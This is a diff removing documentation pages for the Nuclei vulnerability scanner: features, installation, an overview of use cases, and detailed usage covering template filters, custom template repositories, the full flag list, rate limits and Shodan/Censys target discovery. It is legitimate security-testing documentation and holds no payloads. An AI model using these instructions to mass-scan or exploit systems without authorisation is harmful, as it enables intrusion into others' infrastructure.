| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| [Extensive Template Library](#) | Nuclei offers a vast collection of community-powered templates for targeted scans of various vulnerabilities and attack vectors. |
|
||||
| [Versatile Target Specification](#) | Support for various target specification options, such as URLs, IP ranges, ASN range, and file input, allowing flexibility in defining the scanning scope. |
|
||||
| [Bulk Scanning](#) | Perform bulk scanning by specifying multiple targets at once, enabling efficient scanning of a large number of assets or websites. |
|
||||
| [Flexible Customization](#) | Customize scanning templates to fit specific needs, allowing tailored scanning and focusing on relevant security checks. |
|
||||
| [Parallel Scanning](#) | Supports parallel scanning, reducing scanning time and improving efficiency, especially for large-scale targets. |
|
||||
| [Comprehensive Reporting `cloud`](#) | Generates detailed reports with actionable insights, including vulnerability details, severity levels, affected endpoints, and suggested remediation steps. |
|
||||
| [Integration with CI/CD Pipelines](#) | Seamlessly integrate Nuclei into CI/CD pipelines for automated security testing as part of the development and deployment process. |
|
||||
| [CI/CD Integration `cloud`](#) | Actively maintained and developed by the ProjectDiscovery team, introducing new features, bug fixes, and enhancements to provide an up-to-date scanning framework. |
|
||||
| [Ticketing integration `cloud`](#) | Two-way ticketing integration with Jira, Splunk, and many others to easily remediate and retest vulnerabilities. |
|
||||
| [Customizable Output Format](#) | Configure the output format of Nuclei's scan results to suit your needs, including options for JSON, YAML, and more. |
|
||||
| [Dynamic Variables](#) | Utilize dynamic variables in templates to perform parameterized scanning, enabling versatile and flexible scanning configurations. |
|
||||
| [Inclusion and Exclusion Filters](#) | Apply inclusion and exclusion filters to specify targets, reducing scanning scope and focusing on specific areas of interest. |
|
||||
| [Authentication Support](#) | Nuclei supports various authentication mechanisms, including HTTP basic authentication, JWT token authentication, and more. |
|
||||
| [Embedding custom code in templates `alpha`](#) | Execute custom code within Nuclei templates to incorporate user-defined logic, perform advanced scanning actions, and more. |
|
||||
@@ -1,69 +0,0 @@
|
||||
---
|
||||
title: 'Install'
|
||||
---
|
||||
|
||||
|
||||
<Tabs>
|
||||
<Tab title="Go">
|
||||
```bash
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<Note>Nuclei require latest **GO** version to install successfully.</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Brew">
|
||||
```bash
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
<Note>Supported in **macOS** (or Linux)</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Docker">
|
||||
```bash
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
Docker-specific usage instructions can be found [here](./running#running-with-docker).
|
||||
</Tab>
|
||||
<Tab title="Github">
|
||||
```bash
|
||||
git clone https://github.com/projectdiscovery/nuclei.git; \
|
||||
cd nuclei/cmd/nuclei; \
|
||||
go build; \
|
||||
mv nuclei /usr/local/bin/; \
|
||||
nuclei -version;
|
||||
```
|
||||
|
||||
<Note> Nuclei require the latest **GO** version to install successfully.</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Binary">
|
||||
```bash
|
||||
https://github.com/projectdiscovery/nuclei/releases
|
||||
```
|
||||
|
||||
<Tip>
|
||||
- Download the latest binary for your OS.
|
||||
- Unzip the ready to run binary.
|
||||
</Tip>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Helm">
|
||||
```bash
|
||||
git clone https://github.com/projectdiscovery/nuclei.git
|
||||
cd nuclei/helm
|
||||
helm upgrade --install nuclei . -f values.yaml
|
||||
```
|
||||
|
||||
<Tip>
|
||||
This Helm chart creates two primary resources (intended to be configured via `values.yaml`):
|
||||
|
||||
- A Kubernetes CronJob to run Nuclei on a defined schedule
|
||||
|
||||
- An [Interactsh](https://github.com/projectdiscovery/interactsh) service for Nuclei to use
|
||||
</Tip>
|
||||
|
||||
</Tab>
|
||||
</Tabs>
|
||||
@@ -1,47 +0,0 @@
|
||||
---
|
||||
title: 'Overview'
|
||||
---
|
||||
|
||||
## What is **Nuclei?**
|
||||
|
||||
Nuclei is a fast scanner used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.
|
||||
|
||||
Under the hood, it operates on the concept of templates, which are essentially simple YAML file that describe how to detect, prioritize and remediate specific security vulnerabilities.
|
||||
|
||||
Hundreds of security researchers and engineers from around the globe contribute to the template ecosystem, which is available and updated regularly within the Nuclei tool. Over 5000 templates have been contributed to date. These templates include real-world exploits and latest attack vectors, including the Log4j vulnerability, GitLab RCE, and many others, to match adaptability in an ever-evolving threat landscape.
|
||||
|
||||
Each template represents a potential attack vector and includes a detailed description of the vulnerability, its severity, priority score, and sometimes even trending exploits. The template-driven approach not only adds a high degree of flexibility but also ensures that the vulnerabilities detected by Nuclei are not just theoretical risks but are indicative of real-world exploitability.
|
||||
|
||||
Once configured, Nuclei can provide detailed information on each vulnerability, including:
|
||||
|
||||
<CardGroup>
|
||||
<Card title="Severity" icon="gauge-high" iconType="duotone"></Card>
|
||||
<Card title="Impact" icon="explosion" iconType="duotone"></Card>
|
||||
<Card title="Description" icon="text-size" iconType="duotone"></Card>
|
||||
<Card title="Remediation" icon="screwdriver-wrench" iconType="duotone"></Card>
|
||||
</CardGroup>
|
||||
|
||||
|
||||
## Where to use Nuclei?
|
||||
|
||||
| Use Case | Description |
|
||||
| -------------------------------- | ----------- |
|
||||
| Web Application Security | Identifies common web vulnerabilities with community-powered templates. |
|
||||
| Infrastructure Security | Audits server configurations, open ports, and insecure services for security issues. |
|
||||
| API Security Testing `alpha` | Tests APIs against known vulnerabilities and misconfigurations. |
|
||||
| (CI/CD) Security | Integrates into CI/CD pipelines to minimize vulnerability resurface into production. |
|
||||
| Third-party Vendor Assessment | Evaluates the security of third-party vendors by scanning their digital assets. |
|
||||
| Cloud Security `alpha` | Scans cloud environments for misconfigurations and vulnerabilities. |
|
||||
| Mobile Application Security | Scans mobile applications for security issues, including API tests and configuration checks. |
|
||||
| Network Device Security `alpha` | Identifies vulnerabilities in network devices like routers, switches, and firewalls. |
|
||||
| Web Server Assessment | Identifies common vulnerabilities and misconfigurations in web servers. |
|
||||
| Content Management System (CMS) Assessment | Identifies vulnerabilities specific to CMS platforms like WordPress, Joomla, or Drupal. |
|
||||
| Database Security Assessment | Scans databases for known vulnerabilities, default configurations, and access control issues. |
|
||||
|
||||
People use Nuclei in a variety of ways:
|
||||
|
||||
- **Security Engineers/Analysts**: Conduct security assessments, proactively identify vulnerabilities, convert custom vectors and analyze latest attack vectors.
|
||||
- **Red Teams**: Leverage Nuclei as part of their offensive security operations to simulate real-world attack scenarios, identify weaknesses, and provide actionable recommendations for enhancing overall security.
|
||||
- **DevOps Teams**: Integrate Nuclei into their CI/CD pipelines to ensure continuous security and regression of custom vulnerabilities.
|
||||
- **Bug Bounty Hunters**: Leverage Nuclei to find vulnerabilities across their programs listed on platforms like HackerOne, Bugcrowd, Intigriti etc.
|
||||
- **Penetration Testers**: Utilize Nuclei to automate their assessment methodologies into templates for their clients' systems.
|
||||
@@ -1,925 +0,0 @@
|
||||
---
|
||||
title: 'Running Nuclei'
|
||||
---
|
||||
|
||||
<iframe src="https://www.youtube.com/embed/b5qMyQvL1ZA" width="640" height="360"></iframe>
|
||||
|
||||
|
||||
## Running **Nuclei**
|
||||
|
||||
Nuclei templates can be primarily executed in two ways:
|
||||
|
||||
1. **Templates** (`-t/templates`)
|
||||
|
||||
As default, all the templates (except nuclei-ignore list) get executed from the default template installation path.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com
|
||||
```
|
||||
|
||||
Custom template directory or multiple template directory can be executed as follows:
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t cves/ -t exposures/
|
||||
```
|
||||
|
||||
Custom template Github repos are downloaded under `github` directory. Custom repo templates can be passed as follows:
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t github/private-repo
|
||||
```
|
||||
|
||||
Similarly, Templates can be executed against a list of URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list http_urls.txt
|
||||
```
|
||||
|
||||
2. **Workflows** (`-w/workflows`)
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -w workflows/
|
||||
```
|
||||
|
||||
Similarly, Workflows can be executed against a list of URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml
|
||||
```
|
||||
|
||||
### Nuclei **Filters**
|
||||
|
||||
Nuclei engine supports three basic filters to customize template execution.
|
||||
|
||||
1. Tags (`-tags`)
|
||||
|
||||
Filter based on tags field available in the template.
|
||||
|
||||
2. Severity (`-severity`)
|
||||
|
||||
Filter based on severity field available in the template.
|
||||
|
||||
3. Author (`-author`)
|
||||
|
||||
Filter based on author field available in the template.
|
||||
|
||||
As default, Filters are applied on installed path of templates and can be customized with manual template path input.
|
||||
|
||||
For example, below command will run all the templates installed at `~/nuclei-templates/` directory and has `cve` tags in it.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags cve
|
||||
```
|
||||
|
||||
And this example will run all the templates available under `~/nuclei-templates/exposures/` directory and has `config` tag in it.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags config -t exposures/
|
||||
```
|
||||
|
||||
Multiple filters works together with AND condition,
|
||||
below example runs all templates with `cve` tags
|
||||
AND has `critical` OR `high` severity AND `geeknik` as author of template.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik
|
||||
```
|
||||
|
||||
Multiple filters can also be combined using the template condition flag (`-tc`) that allows complex expressions like the following ones:
|
||||
|
||||
```sh
|
||||
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
|
||||
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
|
||||
nuclei -tc "contains(name, 'Local File Inclusion')"
|
||||
```
|
||||
|
||||
The supported fields are:
|
||||
|
||||
- `id` string
|
||||
- `name` string
|
||||
- `description` string
|
||||
- `tags` slice of strings
|
||||
- `authors` slice of strings
|
||||
- `severity` string
|
||||
- `protocol` string
|
||||
- `http_method` slice of strings
|
||||
- `body` string (containing all request bodies if any)
|
||||
- `matcher_type` slice of string
|
||||
- `extractor_type` slice of string
|
||||
- `description` string
|
||||
|
||||
Also, every key-value pair from the template metadata section is accessible. All fields can be combined with logical operators (`||` and `&&`) and used with DSL helper functions.
|
||||
|
||||
Similarly, all filters are supported in workflows as well.
|
||||
|
||||
```sh
|
||||
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt
|
||||
```
|
||||
|
||||
<Note>
|
||||
|
||||
**Workflows**
|
||||
|
||||
In Workflows, Nuclei filters are applied on templates or sub-templates running via workflows, not on the workflows itself.
|
||||
|
||||
</Note>
|
||||
|
||||
### Public Templates
|
||||
|
||||
Nuclei has built-in support for automatic template download/update from [**nuclei templates**](https://github.com/projectdiscovery/nuclei-templates) project which provides [community-contributed](https://github.com/projectdiscovery/nuclei-templates#-community) list of ready-to-use templates that is constantly updated.
|
||||
|
||||
Nuclei checks for new community template releases upon each execution and automatically downloads the latest version when available. optionally, this feature can be disabled using the `-duc` cli flag or the configuration file.
|
||||
|
||||
### Custom Templates
|
||||
|
||||
Users can create custom templates on a personal public / private GitHub / AWS Bucket that they wish to run / update while using nuclei from any environment without manually downloading the GitHub repository everywhere.
|
||||
|
||||
To use this feature, users need to set the following environment variables:
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="For GitHub Project" icon="pencil">
|
||||
```bash
|
||||
export GITHUB_TOKEN=gh_XXX
|
||||
export GITHUB_TEMPLATE_REPO=my_nuclei_template
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
<Accordion title="For GitLab Project" icon="pencil">
|
||||
```bash
|
||||
export GITLAB_SERVER_URL=https://gitlab.com
|
||||
# The GitLab token must have the read_api and read_repository scope
|
||||
export GITLAB_TOKEN=XXXXXXXXXX
|
||||
# Comma separated list of repository IDs (not names)
|
||||
export GITLAB_REPOSITORY_IDS=12345,67890
|
||||
```
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="For AWS Bucket" icon="pencil">
|
||||
|
||||
```bash
|
||||
export AWS_ACCESS_KEY=AKIAXXXXXXXX
|
||||
export AWS_SECRET_KEY=XXXXXX
|
||||
export AWS_REGION=us-xxx-1
|
||||
export AWS_TEMPLATE_BUCKET=aws_bucket_name
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
<Accordion title="For Azure Blob Storage" icon="pencil">
|
||||
|
||||
```bash
|
||||
export AZURE_TENANT_ID=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_CLIENT_ID=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_CLIENT_SECRET=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_SERVICE_URL=https://XXXXXXXXXX.blob.core.windows.net/
|
||||
export AZURE_CONTAINER_NAME=templates
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
|
||||
</AccordionGroup>
|
||||
|
||||
Environment variables can also be provided to disable download from default and custom template locations:
|
||||
|
||||
```bash
|
||||
# Disable download from the default nuclei-templates project
|
||||
export DISABLE_NUCLEI_TEMPLATES_PUBLIC_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private GitHub project(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_GITHUB_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private GitLab project(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_GITLAB_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private AWS Bucket(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_AWS_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private Azure Blob Storage
|
||||
export DISABLE_NUCLEI_TEMPLATES_AZURE_DOWNLOAD=true
|
||||
```
|
||||
|
||||
Once the environment variables are set, following command to download the custom templates:
|
||||
|
||||
```bash
|
||||
nuclei -update-templates
|
||||
```
|
||||
|
||||
This command will clone the repository containing the custom templates to the default nuclei templates directory (`$HOME/nuclei-templates/github/`).
|
||||
|
||||
The directory structure of the custom templates looks as follows:
|
||||
|
||||
```bash
|
||||
tree $HOME/nuclei-templates/
|
||||
|
||||
nuclei-templates/
|
||||
└── github/$GH_REPO_NAME # Custom templates downloaded from public / private GitHub project
|
||||
└── gitlab/$GL_REPO_NAME # Custom templates downloaded from public / private GitLab project
|
||||
└── s3/$BUCKET_NAME # Custom templates downloaded from public / private AWS Bucket
|
||||
└── azure/$CONTAINER_NAME # Custom templates downloaded from public / private Azure Blob Storage
|
||||
```
|
||||
|
||||
Users can then use the custom templates with the `-t` flag as follows:
|
||||
|
||||
```
|
||||
nuclei -t github/my_custom_template -u https://example.com
|
||||
```
|
||||
|
||||
The nuclei engine can be updated to latest version by using the `-update` flag.
|
||||
|
||||
<Tip>
|
||||
Writing your own unique templates will always keep you one step ahead of
|
||||
others.
|
||||
</Tip>
|
||||
|
||||
### Flags
|
||||
|
||||
```
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
This will display help for the tool. Here are all the switches it supports.
|
||||
|
||||
```bash
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
Usage:
|
||||
nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-resume string resume scan using resume.cfg (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-tu, -template-url string[] list of template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] template or template directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-json write output in JSONL(ines) format
|
||||
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-sandbox sandbox nuclei for safe templates execution
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-config-directory string override the default config path ($home/.config)
|
||||
-rsr, -response-size-read int max response size to read in bytes (default 10485760)
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default 0)
|
||||
-irt, -input-read-timeout duration timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string optional nuclei memory profile dump file
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-un, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json write statistics data to an output file in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
```
|
||||
|
||||
<Tip>
|
||||
From Nuclei v3.0.0 `-metrics` port has been removed and merged with `-stats`
|
||||
when using `-stats` flag metrics will be by default available at `localhost:9092/metrics`
|
||||
and metrics-port can be configured by `-metrics-port` flag
|
||||
</Tip>
|
||||
|
||||
### Rate **Limits**
|
||||
|
||||
Nuclei have multiple rate limit controls for multiple factors, including a number of templates to execute in parallel, a number of hosts to be scanned in parallel for each template, and the global number of request / per second you wanted to make/limit using nuclei, here is an example of each flag with description.
|
||||
|
||||
| Flag | Description |
|
||||
| ---------- | -------------------------------------------------------------------- |
|
||||
| rate-limit | Control the total number of request to send per seconds |
|
||||
| bulk-size | Control the number of hosts to process in parallel for each template |
|
||||
| c | Control the number of templates to process in parallel |
|
||||
|
||||
Feel free to play with these flags to tune your nuclei scan speed and accuracy.
|
||||
|
||||
<Tip>
|
||||
`rate-limit` flag takes precedence over the other two flags, the number of
|
||||
requests/seconds can't go beyond the value defined for `rate-limit` flag
|
||||
regardless the value of `c` and `bulk-size` flag.
|
||||
</Tip>
|
||||
|
||||
### Traffic **Tagging**
|
||||
|
||||
Many BugBounty platform/programs requires you to identify the HTTP traffic you make, this can be achieved by setting custom header using config file at `$HOME/.config/nuclei/config.yaml` or CLI flag `-H / header`
|
||||
|
||||
<Note>
|
||||
Setting custom header using config file
|
||||
|
||||
```yaml
|
||||
# Headers to include with each request.
|
||||
header:
|
||||
- 'X-BugBounty-Hacker: h1/geekboy'
|
||||
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
|
||||
Setting custom header using CLI flag
|
||||
|
||||
```yaml
|
||||
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
### Template **Exclusion**
|
||||
|
||||
Nuclei supports a variety of methods for excluding / blocking templates from execution. By default, **nuclei** excludes the tags/templates listed below from execution to avoid unexpected fuzz based scans and some that are not supposed to run for mass scan, and these can be easily overwritten with nuclei configuration file / flags.
|
||||
|
||||
- Default [Template ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) list.
|
||||
|
||||
<Warning>
|
||||
**nuclei-ignore** file is not supposed to be updated / edited / removed by
|
||||
user, to overwrite default ignore list, utilize [nuclei
|
||||
configuration](/getting-started/features#nuclei-config) file.{' '}
|
||||
</Warning>
|
||||
|
||||
Nuclei engine supports two ways to manually exclude templates from scan,
|
||||
|
||||
1. Exclude Templates (`-exclude-templates/exclude`)
|
||||
|
||||
**exclude-templates** flag is used to exclude single or multiple templates and directory, multiple `-exclude-templates` flag can be used to provide multiple values.
|
||||
|
||||
2. Exclude Tags (`-exclude-tags/etags`)
|
||||
|
||||
**exclude-tags** flag is used to exclude templates based in defined tags, single or multiple can be used to exclude templates.
|
||||
|
||||
<Note>
|
||||
Example of excluding single template
|
||||
|
||||
```
|
||||
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of multiple template exclusion
|
||||
|
||||
```
|
||||
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of excluding templates with single tag
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -t cves/ -etags xss
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
Example of excluding templates with multiple tags
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -t cves/ -etags sqli,rce
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
To easily overwrite [nuclei-ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore), Nuclei engine supports **include-tags** / **include-templates** flag.
|
||||
|
||||
<Note>
|
||||
Example of running blocked templates
|
||||
|
||||
```
|
||||
nuclei -l urls.txt -include-tags iot,misc,fuzz
|
||||
```
|
||||
|
||||
</Note>
|
||||
|
||||
### Scan on internet database
|
||||
|
||||
Nuclei supports integration with [uncover module](https://github.com/projectdiscovery/uncover) that supports services like Shodan, Censys, Hunter, Zoomeye, many more to execute Nuclei on these databases.
|
||||
|
||||
Here are uncover options to use -
|
||||
|
||||
```console
|
||||
nuclei -h uncover
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ucd, -uncover-delay int delay between uncover query requests in seconds (0 to disable) (default 1)
|
||||
```
|
||||
|
||||
You need to set the API key of the engine you are using as an environment variable in your shell.
|
||||
|
||||
```
|
||||
export SHODAN_API_KEY=xxx
|
||||
export CENSYS_API_ID=xxx
|
||||
export CENSYS_API_SECRET=xxx
|
||||
export FOFA_EMAIL=xxx
|
||||
export FOFA_KEY=xxx
|
||||
export QUAKE_TOKEN=xxx
|
||||
export HUNTER_API_KEY=xxx
|
||||
export ZOOMEYE_API_KEY=xxx
|
||||
```
|
||||
|
||||
Required API keys can be obtained by signing up on following platform [Shodan](https://account.shodan.io/register), [Censys](https://censys.io/register), [Fofa](https://fofa.info/toLogin), [Quake](https://quake.360.net/quake/#/index), [Hunter](https://user.skyeye.qianxin.com/user/register?next=https%3A//hunter.qianxin.com/api/uLogin&fromLogin=1) and [ZoomEye](https://www.zoomeye.org/login) .
|
||||
